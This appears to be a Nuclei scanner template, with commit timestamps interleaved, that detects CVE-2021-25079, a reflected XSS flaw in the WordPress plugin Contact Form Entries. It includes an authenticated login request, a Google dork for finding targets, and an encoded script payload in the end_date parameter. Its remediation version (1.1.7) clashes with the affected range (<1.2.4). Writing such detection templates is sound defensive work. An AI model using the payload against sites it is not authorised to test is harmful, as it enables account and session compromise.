2023-10-17 07:20:28 +00:00
id : CVE-2021-25079
2023-10-17 17:21:59 +00:00
2023-10-17 07:20:28 +00:00
info :
name : Contact Form Entries < 1.2.4 - Cross-Site Scripting
author : r3Y3r53
severity : medium
description : |
The plugin does not sanitise and escape various parameters, such as form_id, status, end_date, order, orderby and search before outputting them back in the admin page
remediation : Fixed in version 1.1.7
2023-10-17 08:16:05 +00:00
reference :
2023-10-17 07:20:28 +00:00
- https://wpscan.com/vulnerability/c3d49271-9656-4428-8357-0d1d77b7fc63
- https://nvd.nist.gov/vuln/detail/CVE-2021-25079
- https://wordpress.org/plugins/contact-form-entries/
2023-10-17 17:52:26 +00:00
- https://plugins.trac.wordpress.org/changeset/2629442
2023-10-17 17:21:59 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
2023-10-17 17:52:26 +00:00
cve-id : CVE-2021-25079
2023-10-17 17:21:59 +00:00
cwe-id : CWE-79
2023-10-18 16:26:30 +00:00
epss-score : 0.001
2024-01-29 17:11:14 +00:00
epss-percentile : 0.40882
2023-10-17 17:52:26 +00:00
cpe : cpe:2.3:a:crmperks:contact_form_entries:*:*:*:*:*:wordpress:*:*
2023-10-17 07:20:28 +00:00
metadata :
verified : true
max-request : 2
2023-10-17 17:52:26 +00:00
vendor : crmperks
product : contact_form_entries
framework : wordpress
2023-10-17 17:32:04 +00:00
google-query : inurl:"/wp-content/plugins/contact-form-entries/"
2024-01-14 09:21:50 +00:00
tags : cve2021,cve,wordpress,wp-plugin,wpscan,authenticated,contact-form-entries,xss,crmperks
2023-10-17 07:20:28 +00:00
http :
- raw :
- |
POST /wp-login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=vxcf_leads&form_id=cf_5&status&tab=entries&search&order=asc&orderby=file-438&field&time&start_date&end_date=onobw%22%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3Ez2u4g HTTP/1.1
Host : {{Hostname}}
2023-10-17 08:16:05 +00:00
2023-10-17 07:20:28 +00:00
matchers :
- type : dsl
dsl :
- 'status_code_2 == 200'
- 'contains(header_2, "text/html")'
- "contains(body_2, '<script>alert(document.domain)</script>') && contains(body_2, 'contact-form')"
condition : and
2024-01-30 06:46:18 +00:00
# digest: 490a004630440220527cd48e142fc92a896aa9a399aaec530758544a07344bf510df911351b0108c022051f1ca942de9836a377cb44c7a038c6f2b740ecceeb66faca7d10b4a7e7f7585:922c64590222798bb761d5b6d8e72950